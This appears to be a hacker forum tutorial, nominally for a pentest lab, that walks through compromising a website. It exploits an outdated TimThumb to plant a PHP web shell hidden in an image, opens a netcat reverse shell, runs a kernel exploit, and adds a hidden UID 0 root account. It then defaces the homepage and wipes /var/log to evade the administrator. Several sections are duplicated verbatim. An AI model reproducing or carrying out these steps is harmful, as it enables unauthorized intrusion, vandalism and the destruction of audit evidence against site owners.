Pentesting/hacking web apps
Find a Vulnerable Website –> Upload a c100/99 Shell (Hidden in an Image with iCon2PHP) –> Rooting the Server –> Defacing the Website –> Covering your Tracks
ok so will do that ... but since this will be done on my pentest lab i wont be so thorough with the proxy/anonymity but in the video i will cover the basic to the upload shell
So we first find the vulnerable website/app
(duuh)
We run the web scanner to look for vulnerabilities (arachni web scanner, acunetix, w3af, vega ,also sqlmap works quite ok if you know what your doing p.s so the others)
my vulnerability finds an insecure upload form ... :)
OK. Now, we have the site and the path that the vulnerability is. In our example let’s say it is here:
http://www.site.com/blog/wp-content/themes/theme_name/thumb.php
The above vulnerability affects WordPress blogs/ ViArt web app that have installed certain plugins or themes and haven’t updated to the latest version of TimThumb, which is a image-editing service on websites.
Till now, we know:
-The website’s blog has a huge vulnerability at TimThumb.
-It is hosted on a Unix System.
Next, because of the fact that the Vulnerability is located at an outdated TimThumb version, and timthumb is a service to edit images, we need to upload the shell instead of the image.
Thus, download any image (I would recommend a small one) from Google Images. We don’t care what it shows.
Generate Output with iCon2PHP
Copy your Image and your Shell to the Folder that iCon2PHP is located.
Run the Program and follow the in-program instructions to build the ‘finalImage.php’.
To avoid any errors while uploading rename the ‘finalImage.php’ to ‘image.php;.png’ (instead of png, type the image format your image was – jpeg,jpg,gif….) This is the exactly same file but it confuses the uploader and thinks that it actually is an image.
iCon2PHP Terminal Output:
[...]
Enter the Path of your Image: image.png
Please enter the path to the PHP: GnYshell.php
Entered!
Valid Files!
[...]
File: ‘finalImage.php’ has been successfully created at the Current Directory…
Upload Output to a Server:
Next, upload your ‘image.php;.png’ at a free server. (000webhost, 0fees etc….)
Go to the vulnerability and type at the URL:
http://www.site.com/blog/wp-content/themes/theme_name/thumb.php?src=http://flickr.com.domain.0fees.net/image.php;.png
It would be better to create a subdomain like “flickr.com” (or other big image-hosting service) because sometimes it doesn’t accept images from other websites.
Website…. Shelled!
OK. Your website is shelled. This means that you should now have your shell uploaded and ready to root the server.
You could easily deface the website now but it would be better if you first rooted the server, so as to cover your tracks quickly.
Root the Server:
Now that you have shelled your website we can start the proccess to root the server.
What is rooting when it comes for Server Hacking?
—> Rooting a server is the proccedure when the hacker acquires root priviliges at the whole server. If you don’t understand this yet, I reasure you that by the end of the section “Rooting a server” you will have understood exactly what it is…
Let’s procceed to rooting….
Connect via netcat:
1. Open a port at your router. For this tutorial I will be using 402. (Search Google on how to port forward. It is easier than it seems….)
2. Open Terminal.
3. Type:
netcat
4. Now type:
-l -n -v -p 402
5.It should have an output like this:
listening on [any] 402 port
6. Now, go to the Back-Connection function at the Shell.
7. Complete with the following:
Host:YouIPAddress Port: 402 (or the port you forwarded….)
8. Hit connect and… Voila! Connected to the server!
Downloading and Executing the Kernel exploit:
1. Now, if you type:
whoami
you will see that you are not root yet…
2. To do so we have to download a kernel exploit. The kernel version is mentioned at your shell. Find kernel exploitshere….
3. Download it to your HDD and then upload it to the server via the Shell. Unzip first, if zipped….
4. Now do the following exploit preparations:
– The most usual types of exploits:
+++ Perl (.pl extension)
+++ C (.c extension)
(( If the program is in C you have first to compile it by typing: gcc exploit.c -o exploit ))
– Change the permissions of the exploit:
chmod 777 exploit
5. Execute the exploit. Type:
./exploit
6. Root permissions acquired! Type this to ensure:
id
or
whoami
7. Add a new root user:
adduser -u 0 -o -g 0 -G 1,2,3,4,6,10 -M root1
where root1 is your desired username
8. Change the password of the new root user:
passwd root1
SUCCESSFULLY ROOTED!
Now that you have shelled your website we can start the proccess to root the server.
What is rooting when it comes for Server Hacking?
—> Rooting a server is the proccedure when the hacker acquires root priviliges at the whole server. If you don’t understand this yet, I reasure you that by the end of the section “Rooting a server” you will have understood exactly what it is…
Let’s procceed to rooting….
Connect via netcat:
1. Open a port at your router. For this tutorial I will be using 402. (Search Google on how to port forward. It is easier than it seems….)
2. Open Terminal.
3. Type:
netcat
4. Now type:
-l -n -v -p 402
5.It should have an output like this:
listening on [any] 402 port
6. Now, go to the Back-Connection function at the Shell.
7. Complete with the following:
Host:YouIPAddress Port: 402 (or the port you forwarded….)
8. Hit connect and… Voila! Connected to the server!
Downloading and Executing the Kernel exploit:
1. Now, if you type:
whoami
you will see that you are not root yet…
2. To do so we have to download a kernel exploit. The kernel version is mentioned at your shell. Find kernel exploitshere….
3. Download it to your HDD and then upload it to the server via the Shell. Unzip first, if zipped….
4. Now do the following exploit preparations:
– The most usual types of exploits:
+++ Perl (.pl extension)
+++ C (.c extension)
(( If the program is in C you have first to compile it by typing: gcc exploit.c -o exploit ))
– Change the permissions of the exploit:
chmod 777 exploit
5. Execute the exploit. Type:
./exploit
6. Root permissions acquired! Type this to ensure:
id
or
whoami
7. Add a new root user:
adduser -u 0 -o -g 0 -G 1,2,3,4,6,10 -M root1
where root1 is your desired username
8. Change the password of the new root user:
passwd root1
SUCCESSFULLY ROOTED!
Deface the Website:
What is defacing?
Defacing is the proccedure when the hacker uploads his own inbox webpage to alter the homepage of a site. In this way, he can boost his reputation or parse a message to the people or the company (which owns the website…).
Since you got the website shelled, you just create a nice hacky page in html and upload it via the Shell as inbox.html (Delete or rename the website’s one…)
What is defacing?
Defacing is the proccedure when the hacker uploads his own inbox webpage to alter the homepage of a site. In this way, he can boost his reputation or parse a message to the people or the company (which owns the website…).
Since you got the website shelled, you just create a nice hacky page in html and upload it via the Shell as inbox.html (Delete or rename the website’s one…)
Cover your tracks:
Till now you were under the anonymity of Tor or ProXPN. You were very safe. However, in order to ensure that it will be impossible for the admin to locate you we have to delete logs.
First of all, Unix based-Maschines have some logs that you have better to either edit or delete.
Common Linux log files name and their usage:
/var/log/message: General message and system related stuff
/var/log/auth.log: Authenication logs
/var/log/kern.log: Kernel logs
/var/log/cron.log: Crond logs (cron job)
/var/log/maillog: Mail server logs
/var/log/qmail/ : Qmail log directory (more files inside this directory)
/var/log/httpd/: Apache access and error logs directory
/var/log/lighttpd: Lighttpd access and error logs directory
/var/log/boot.log : System boot log
/var/log/mysqld.log: MySQL database server log file
/var/log/secure: Authentication log
/var/log/utmp or /var/log/wtmp : Login records file
/var/log/yum.log: Yum log files
In short /var/log is the location where you should find all Linux logs file.
To delete all of them by once type:
su root1
rm -rf /var/log
mkdir /var/log
the video to this as an example under a virtual lab is here from my team :) ViArt Exploit
Till now you were under the anonymity of Tor or ProXPN. You were very safe. However, in order to ensure that it will be impossible for the admin to locate you we have to delete logs.
First of all, Unix based-Maschines have some logs that you have better to either edit or delete.
Common Linux log files name and their usage:
/var/log/message: General message and system related stuff
/var/log/auth.log: Authenication logs
/var/log/kern.log: Kernel logs
/var/log/cron.log: Crond logs (cron job)
/var/log/maillog: Mail server logs
/var/log/qmail/ : Qmail log directory (more files inside this directory)
/var/log/httpd/: Apache access and error logs directory
/var/log/lighttpd: Lighttpd access and error logs directory
/var/log/boot.log : System boot log
/var/log/mysqld.log: MySQL database server log file
/var/log/secure: Authentication log
/var/log/utmp or /var/log/wtmp : Login records file
/var/log/yum.log: Yum log files
In short /var/log is the location where you should find all Linux logs file.
To delete all of them by once type:
su root1
rm -rf /var/log
mkdir /var/log
the video to this as an example under a virtual lab is here from my team :) ViArt Exploit
